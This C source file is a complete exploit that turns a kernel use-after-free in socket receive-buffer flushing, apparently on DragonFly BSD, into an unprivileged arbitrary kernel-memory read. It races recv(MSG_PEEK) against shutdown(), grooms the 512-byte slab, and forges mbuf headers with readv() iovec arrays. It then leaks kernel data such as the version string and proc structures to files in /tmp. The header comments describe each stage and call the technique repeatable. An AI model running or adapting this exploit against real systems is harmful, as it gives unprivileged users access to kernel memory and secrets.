/*
 * DF-2694 weaponization: unprivileged arbitrary kernel-memory read
 * =================================================================
 *
 * Verified bug (findings/DF-2694-*): sorflush() frees the receive
 * mbuf chain underneath a generic soreceive() copier blocked in a
 * sleeping page fault inside uiomove() (blocked DFly threads drop
 * their lwkt tokens; soshutdown() never takes ssb_lock).
 *
 * Weaponization chain (all unprivileged, stock INVARIANTS kernel):
 *
 *  1. RACE: AF_UNIX stream socketpair, 250 x 2048B queued (one
 *     pkthdr+cluster mbuf per send), recv(MSG_PEEK) into a pre-swapped
 *     user window -> the copier sleeps in a swap-in fault mid-uiomove.
 *
 *  2. FLUSH: shutdown(fd, SHUT_RD) -> sorflush() frees all 250 mbuf
 *     chunks (512-byte kmalloc bucket, M_MBUF back-allocator).
 *     A pre-phase exhausted the mbufphdrcluster objcache depot of
 *     empty magazines (hold ~9000 cluster mbufs), so these frees take
 *     kern_objcache.c:706-717 (objcache_put corner case) and kfree()
 *     DIRECTLY into the shared 512 slab bucket.  Free order is chain
 *     order, so the copier's mbuf (m0) is freed FIRST = deepest in
 *     the LIFO bucket (~depth 250).
 *
 *  3. RECLAIM/forge: 450 holder threads released right after the
 *     flush each enter readv() on an empty pipe with a 32-iovec array:
 *     iovec_copyin (kern_subr.c:448) kmallocs 512 bytes (same bucket)
 *     and copies our bytes UNVALIDATED.  The array overlays the freed
 *     mbuf header:
 *        +0   m_next    = iov[0].iov_base   (never dereferenced)
 *        +16  m_data    = iov[1].iov_base   = ATTACKER KERNEL ADDR
 *        +24  m_len     = iov[1].iov_len lo = 0xF000
 *        +28  m_flags   = iov[1].iov_len hi = 0
 *        +32  m_type    = iov[2].iov_base lo16 = 1 (MT_DATA)
 *     450 > 250 so m0's chunk is covered; each readv blocks (pipe
 *     empty) keeping its array live.  Everything runs pinned to one
 *     CPU via unprivileged usched_set(USCHED_DEL_CPU).
 *
 *  4. The copier wakes: finishes the in-flight uiomove (freed-cluster
 *     garbage, discarded), sees len != forged m_len (else-branch, no
 *     chain advance, m_next never read), and the next iteration
 *     uiomove()s from the forged m_data -> ARBITRARY KERNEL MEMORY is
 *     copyout'ed to the user buffer tail.  MSG_PEEK makes the walk
 *     bookkeeping-free (no sbunlinkmbuf KKASSERT, no m_adj writes, no
 *     cc accounting); resid exhaustion ends the loop and recv()
 *     returns 8192 with kernel bytes at buf+2048.  No panic, no
 *     kernel state corruption, repeatable at will.
 *
 * usage: df2694_leak <target_hex> [rounds] [dstart_us] [dstep_us]
 * expect: recv() == 8192 and buf[2048..8192) == *(uint8_t(*)[6144])target
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/uio.h>
#include <sys/usched.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <time.h>

#ifndef USCHED_DEL_CPU
#define USCHED_DEL_CPU 3
#endif

#define RLEN	  (512 * 1024)	/* recv() length: long legit-walk window */
#define LEAKLEN   14336		/* bytes copied from forged m_data */
#define LEAKOFF   2048		/* pre-fault full mbuf consumed by walker */
#define NIOV	  32		/* 32*16 = 512B -> same slab bucket as mbuf */
#define CHUNK	  2048		/* queued-data granularity */
#define QN	  200		/* victim chain mbufs per round */
#define HOLD_N    17000		/* depot-drain holding pen */
#define FREE_N    6000		/* pre-race kfree-direct burst */
#define NHOLD	  260		/* holder threads (pattern stack depth) */
#define NPAIRS    96		/* holding-pen socketpairs */

static double now_us(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return ((double)ts.tv_sec * 1e6 + (double)ts.tv_nsec / 1e3);
}

static void busy_us(int us)
{
	double t0 = now_us();
	while (now_us() - t0 < (double)us)
		/* spin */;
}

static void pin_me(void)
{
	int c;
	for (c = 0; c < 6; c++) {
		if (c == 1)
			continue;
		usched_set(0, USCHED_DEL_CPU, &c, sizeof(c));
	}
}

/* ---------------- holders ----------------------------------------- */
static struct iovec g_iov[NIOV];
static unsigned long g_target;
static int holdpipe[2];
static pthread_mutex_t go_mtx = PTHREAD_MUTEX_INITIALIZER;
static pthread_cond_t go_cv = PTHREAD_COND_INITIALIZER;
static volatile unsigned round_seq;
static volatile int gowait, stopall;

static void *holder_fn(void *v __unused)
{
	unsigned seen = 0;
	pin_me();
	for (;;) {
		pthread_mutex_lock(&go_mtx);
		++gowait;
		while (round_seq == seen)
			pthread_cond_wait(&go_cv, &go_mtx);
		seen = round_seq;
		pthread_mutex_unlock(&go_mtx);
		/* one-shot: grab one 512 chunk with our pattern */
		readv(holdpipe[0], g_iov, NIOV);	/* blocks; EINTR on kill */
		if (stopall)
			break;
		/* loop re-parks (gowait++) */
	}
	return NULL;
}

/* ---------------- reader ------------------------------------------ */
struct rarg {
	int fd;
	void *buf;
	size_t len;
	ssize_t n;
	int err;
	double t_copy;
	double t_entry;
	volatile int go;
};

static void reader_pin(void)
{
	int c;
	for (c = 0; c < 6; c++) {
		if (c == 2)
			continue;
		usched_set(0, USCHED_DEL_CPU, &c, sizeof(c));
	}
}

static struct rarg g_ra;
static volatile int ra_done;
static double g_tgo, g_flusht;

static void *reader_fn(void *v __unused)
{
	double t0;
	reader_pin();			/* run on cpu2, concurrent w/ main */
	for (;;) {
		while (!g_ra.go)
			/* spin: stack stays resident, entry is fast */;
		g_ra.t_entry = now_us() - g_tgo;
		t0 = now_us();
		g_ra.n = recv(g_ra.fd, g_ra.buf, g_ra.len, MSG_PEEK);
		g_ra.t_copy = now_us() - t0;
		g_ra.err = errno;
		g_ra.go = 0;
		ra_done = 1;
	}
	return NULL;
}

static void set_bufs(int fd)
{
	int b = 512 * 1024;
	setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &b, sizeof(b));
	setsockopt(fd, SOL_SOCKET, SO_SNDBUF, &b, sizeof(b));
}

static void usr2h(int sig __unused)
{
	/* no-op: aborts blocked readv with EINTR */
}

int
main(int argc, char **argv)
{
	unsigned long target;
	unsigned long chain[3];		/* demo chain targets */
	int chain_n = 0;
	int rounds = (argc > 2) ? atoi(argv[2]) : 24;
	int dstart = (argc > 3) ? atoi(argv[3]) : 1500;
	int dstep  = (argc > 4) ? atoi(argv[4]) : 300;
	int r, i, j, hits = 0;
	void *pool;
	size_t poolsz;
	int pen[NPAIRS][2];
	pthread_t holdth[NHOLD], rt;
	char vblk[CHUNK];
	static char penblk[NPAIRS][CHUNK];
	long refill_pen = 0;
	FILE *out;

	setvbuf(stdout, NULL, _IOLBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
	signal(SIGPIPE, SIG_IGN);
	{
		struct sigaction sa;
		memset(&sa, 0, sizeof(sa));
		sa.sa_handler = usr2h;
		sigemptyset(&sa.sa_mask);
		sigaction(SIGUSR2, &sa, NULL);
	}

	if (argc < 2) {
		fprintf(stderr, "usage: %s <target_hex> [rounds] [d0] [dstep]\n",
		    argv[0]);
		return 2;
	}
	target = strtoul(argv[1], NULL, 16);
	printf("DF-2694 leak rig: target=0x%016lx rounds=%d delay=%d+%dus "
	    "uid=%d\n", target, rounds, dstart, dstep, getuid());

	/* create the reader FIRST (before main pins itself) so it
	 * inherits the unrestricted mask and can pin to cpu2 */
	{
		struct rarg *dummy __unused = &g_ra;
		if (pthread_create(&rt, NULL, reader_fn, NULL) != 0) {
			printf("reader create failed\n");
			return 1;
		}
		usleep(50000);	/* let it pin to cpu2 and park */
	}
	pin_me();
	printf("main pinned to cpu1 (reader on cpu2)\n");

	/*
	 * Pre-swapped receive windows (verified PoC technique): dirty an
	 * anonymous pool, then dirty a 6.5GB pig so the pager launders
	 * the pool out to swap.  Every round's recv() into a fresh
	 * window then takes a sleeping swap-in fault per page.
	 */
	poolsz = (size_t)RLEN * (size_t)(rounds + 1);
	pool = mmap(NULL, poolsz, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (pool == MAP_FAILED) {
		perror("pool mmap");
		return 1;
	}
	memset(pool, 0x55, poolsz);
	printf("dirtying pig (6500 MB)...\n");
	{
		size_t pig = (size_t)6500 << 20;
		char *p = mmap(NULL, pig, PROT_READ | PROT_WRITE,
		    MAP_ANON | MAP_PRIVATE, -1, 0);
		if (p != MAP_FAILED) {
			memset(p, 1, pig);
			munmap(p, pig);
		} else
			perror("pig mmap");
	}
	printf("pool swapped out\n");

	if (pipe(holdpipe) < 0) {
		perror("holdpipe");
		return 1;
	}

	/* forged-mbuf iovec pattern (see header comment for offsets) */
	/*
	 * Forged mbuf header overlay (vehicle = the mbuf the copier is
	 * current on when the flush fires; it slept mid-uiomove after
	 * fully consuming that mbuf's original 2048 bytes):
	 *
	 *   wake -> eat-branch: len(2048) != m_len(0x4000) -> else,
	 *           moff = 2048 (m stays on the vehicle)
	 *   next  -> len = min(resid, 0x4000-2048) = 14336
	 *           uiomove(m_data + 2048 = TARGET, 14336)   <<<< LEAK
	 *   eat   -> 14336 == m_len - moff -> EQUAL -> PEEK:
	 *           m = m_next = NULL -> loop exits, recv = 16384.
	 */
	memset(g_iov, 0, sizeof(g_iov));
	g_iov[0].iov_base = NULL;				/* m_next: becomes the
						 * freelist link when the
						 * array is kfree'd */
	g_target = target;
	g_iov[1].iov_base = (void *)target;			/* m_data */
	g_iov[1].iov_len = 0x00004000;				/* m_len|flg */
	g_iov[2].iov_base = (void *)0x1;			/* m_type=1 */
	for (i = 3; i < NIOV; i++)
		g_iov[i].iov_base = (void *)0x1;

	/* depot drain holding pen */
	for (i = 0; i < NPAIRS; i++) {
		if (socketpair(AF_UNIX, SOCK_STREAM, 0, pen[i]) < 0) {
			perror("pen socketpair");
			return 1;
		}
		set_bufs(pen[i][0]);
		set_bufs(pen[i][1]);
	}
	memset(vblk, 'V', CHUNK);
	for (i = 0; i < NPAIRS; i++)
		memset(penblk[i], 'a' + (i % 26), CHUNK);
	printf("holding %d cluster mbufs (depot drain)...\n", HOLD_N);
	{
		int held = 0;
		for (i = 0; i < HOLD_N * 2 && held < HOLD_N; i++) {
			int k = held % NPAIRS;
			ssize_t n = send(pen[k][1], penblk[k], CHUNK, MSG_DONTWAIT);
			if (n == CHUNK) {
				held++;
				continue;
			}
			if (errno == EAGAIN || errno == EWOULDBLOCK) {
				int any = 0, k2;
				for (k2 = 0; k2 < NPAIRS; k2++) {
					n = send(pen[k2][1], penblk[k2], CHUNK,
					    MSG_DONTWAIT);
					if (n == CHUNK) {
						held++;
						any = 1;
						break;
					}
				}
				if (!any)
					break;
			} else
				break;
		}
		printf("held %d\n", held);
	}
	printf("freeing %d (kfree-direct burst)...\n", FREE_N);
	{
		char drain[CHUNK];
		int freed = 0;
		for (i = 0; i < FREE_N * 2 && freed < FREE_N; i++) {
			int k = i % NPAIRS;
			ssize_t n = recv(pen[k][0], drain, CHUNK, MSG_DONTWAIT);
			if (n == CHUNK)
				freed++;
		}
		printf("freed %d\n", freed);
	}

	/* start holders (they park on go_cv) */
	for (i = 0; i < NHOLD; i++) {
		if (pthread_create(&holdth[i], NULL, holder_fn, NULL) != 0) {
			printf("holder create failed at %d\n", i);
			return 1;
		}
	}
	/* wait until all holders park */
	while (gowait < NHOLD)
		usleep(1000);
	printf("%d holders parked\n", NHOLD);

	/*
	 * Demo chain (single unprivileged run):
	 *   t0: &version  (static kernel .data, verify content)
	 *   t1: &proc0    (static kernel .bss)
	 *   t2: *(proc0 + 0) = p_list.tqh_first  -> a live proc struct
	 *       (address chosen FROM leaked data = chained arbitrary read)
	 */
	chain[0] = target;
	chain[1] = 0xffffffff81176920UL;	/* proc0 */
	chain[2] = 0;				/* filled from t1 leak */
	chain_n = 2;

	out = fopen("/tmp/df2694_leak.bin", "w");

	for (r = 0; r < rounds; r++) {
		int sv[2], delay = dstart + r * dstep;
		char *rbuf = (char *)pool + (size_t)RLEN * (size_t)r;
		unsigned long rtgt = chain[r % (chain_n ? chain_n : 1)];

		g_iov[1].iov_base = (void *)rtgt;	/* forged m_data */
		ssize_t n;
		int leak_len, sent, hit = 0;

		if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) {
			perror("victim socketpair");
			break;
		}
		set_bufs(sv[0]);
		set_bufs(sv[1]);

		/* queue exactly QN cluster mbufs, synchronously */
		for (sent = 0; sent < QN; sent++)
			if (send(sv[1], vblk, CHUNK, MSG_DONTWAIT) != CHUNK)
				break;
		if (sent < QN) {
			printf("r%02d: only %d queued\n", r, sent);
			close(sv[0]);
			close(sv[1]);
			continue;
		}

		/*
		 * Re-prime the objcache: free a pen burst AFTER the
		 * victim's allocs so the mbufphdrcluster depot has no
		 * empty magazines left and the imminent flush frees
		 * kfree-direct into the 512 bucket.
		 */
		{
			char drain[CHUNK];
			int freed = 0, alloc = 0;
			/*
			 * Alloc wave (refill pens), then a free wave big
			 * enough to drain the objcache depot of ALL empty
			 * magazines (mclph depot ~17 mags = ~1088 objects;
			 * >1300 puts after mags fill => kfree-direct into
			 * the shared 512 bucket).
			 */
			for (i = 0; i < 5600 && alloc < 3000; i++) {
				int k = alloc % NPAIRS;
				penblk[k][0] = (char)r;
				penblk[k][1] = (char)('A' + k);
				penblk[k][2] = (char)('0' + (alloc / 10) % 10);
				penblk[k][3] = (char)('0' + alloc % 10);
				if (send(pen[k][1], penblk[k], CHUNK,
				    MSG_DONTWAIT) == CHUNK)
					alloc++;
			}
			for (i = 0; i < 6900 && freed < 4400; i++) {
				int k = i % NPAIRS;
				if (recv(pen[k][0], drain, CHUNK,
				    MSG_DONTWAIT) == CHUNK)
					freed++;
			}
			refill_pen += freed;
			if (freed < 4400)
				printf("r%02d: PEN DEPLETED (freed %d)\n", r,
				    freed);
		}

		{
			int nq = -1;
			ioctl(sv[0], FIONREAD, &nq);
			if (nq < 8192) {
				printf("r%02d: FIONREAD=%d - skipping\n", r, nq);
				close(sv[0]);
				close(sv[1]);
				continue;
			}
		}

		/*
		 * Pattern stack: one-shot holders pop 512-chunks as iov
		 * arrays (forged header at +8..511), then SIGUSR2 aborts
		 * them so the arrays kfree onto the bucket freelist top.
		 * kfree stores the freelist link at chunk offset 0
		 * (= m_next), so each freed array is a walker-followable
		 * mbuf whose m_data/m_len/m_type are OURS.  The upcoming
		 * flush kfrees the victim chain ON TOP of this stack.
		 */
		{
			int spins = 0;
			while (gowait < NHOLD && spins++ < 4000)
				usleep(1000);
			if (gowait < NHOLD)
				printf("r%02d: only %d holders parked\n", r,
				    gowait);
		}
		pthread_mutex_lock(&go_mtx);
		round_seq++;
		pthread_cond_broadcast(&go_cv);
		pthread_mutex_unlock(&go_mtx);
		usleep(3000);		/* wave: holders enter readv(), block */
		for (i = 0; i < NHOLD; i++)
			pthread_kill(holdth[i], SIGUSR2);
		usleep(3000);		/* arrays kfree onto freelist top */
		g_ra.fd = sv[0];
		g_ra.buf = rbuf;
		g_ra.len = RLEN;
		g_ra.n = -1;
		g_ra.t_copy = 0;
		ra_done = 0;
		g_ra.t_entry = -1;
		g_tgo = now_us();
		g_ra.go = 1;		/* reader: recv NOW on cpu2 */
		busy_us(delay);		/* let the walker get mid-chain */

		/* flush: victim chain kfrees ON TOP of the pattern stack;
		 * the walker at freed m_k descends m_{k-1}..m_0 into the
		 * pattern chunks -> forged m_data read -> kernel memory
		 * lands in the user buffer; clean PEEK exit follows */
		g_flusht = now_us();
		shutdown(sv[0], SHUT_RD);

		{
			int spins = 0;
			while (!ra_done && spins++ < 8000)
				usleep(1000);
		}
		n = g_ra.n;

		/* holders re-park themselves after EINTR (gowait climbs) */
		{
			int spins = 0;
			while (gowait < NHOLD && spins++ < 4000)
				usleep(1000);
		}

		leak_len = (n == (ssize_t)(LEAKOFF + LEAKLEN)) ? LEAKLEN :
		    ((n > LEAKOFF) ? (int)(n - LEAKOFF) : 0);
		printf("r%02d delay=%5dus recv=%zd leak=%d entry=%.0f "
		    "flush@+%.0fus copy=%.0fus err=%d\n",
		    r, delay, n, leak_len, g_ra.t_entry,
		    g_flusht - g_tgo, g_ra.t_copy, g_ra.err);

		if (out) {
			fwrite(rbuf, 1, n, out);
			fflush(out);
		}
		if (leak_len > 0) {
			/*
			 * Pattern reads repeat every 14336 bytes (each
			 * pattern chunk copies TARGET..TARGET+14336 with
			 * moff reset).  Find the longest i with
			 * buf[i:i+14336] == buf[i+14336:i+28672].
			 */
			int best = -1;
			for (j = 2048; j + 2 * LEAKLEN <= (int)n;
			    j += 128) {
				int fresh = 0, k2;
				if (memcmp(rbuf + j, rbuf + j + LEAKLEN,
				    LEAKLEN) != 0)
					continue;
				for (k2 = 0; k2 < LEAKLEN; k2++) {
					unsigned char c = rbuf[j + k2];
					if (c != 'V' && c != 0x55 && c != 0 &&
					    !(c >= 'a' && c <= 'z'))
						fresh++;
				}
				if (fresh > LEAKLEN / 8) {
					best = j;
					break;
				}
			}
			if (best >= 0) {
				char fn[64];
				FILE *lf;
				int k, show;
				printf("r%02d *** LEAK *** target=0x%016lx "
				    "at buf+%d:\n", r, rtgt, best);
				show = 96;
				for (k = 0; k < show; k++)
					printf("%c",
					    (rbuf[best + k] >= 32 &&
					     rbuf[best + k] < 127) ?
					    rbuf[best + k] : '.');
				printf("\n");
				snprintf(fn, sizeof(fn),
				    "/tmp/df2694_leak.t%d.bin", r);
				lf = fopen(fn, "w");
				if (lf) {
					fwrite(rbuf + best, 1, LEAKLEN, lf);
					fclose(lf);
				}
				hits++;
				/* demo chain step */
				if (r == 0 &&
				    memcmp(rbuf + best, "DragonFly", 9) == 0)
					printf("r%02d VERIFIED: leaked bytes "
					    "match kern.version\n", r);
				if (r == 1) {
					unsigned long pl;
					memcpy(&pl, rbuf + best, 8);
					printf("r%02d proc0.p_list.tqh_first ="
					    " 0x%016lx\n", r, pl);
					if (pl >> 48 == 0xffff) {
						chain[2] = pl;
						chain_n = 3;
					}
				}
				if (r == 2) {
					int pid;
					memcpy(&pid, rbuf + best + 92, 4);
					printf("r%02d chased-proc p_pid=%d "
					    "p_comm=[%.24s]\n", r, pid,
					    rbuf + best + 816);
				}
				close(sv[0]);
				close(sv[1]);
				if (r >= 2)
					break;	/* demo complete */
			}
		}

		close(sv[0]);
		close(sv[1]);
	}

	stopall = 1;
	pthread_mutex_lock(&go_mtx);
	round_seq++;
	pthread_cond_broadcast(&go_cv);
	pthread_mutex_unlock(&go_mtx);
	for (i = 0; i < NHOLD; i++)
		pthread_kill(holdth[i], SIGUSR2);
	if (out)
		fclose(out);
	printf("pen refills consumed: %ld\n", refill_pen);
	printf("done: hits=%d (all full reads dumped to /tmp/df2694_leak.bin)\n",
	    hits);
	return (hits != 0);
}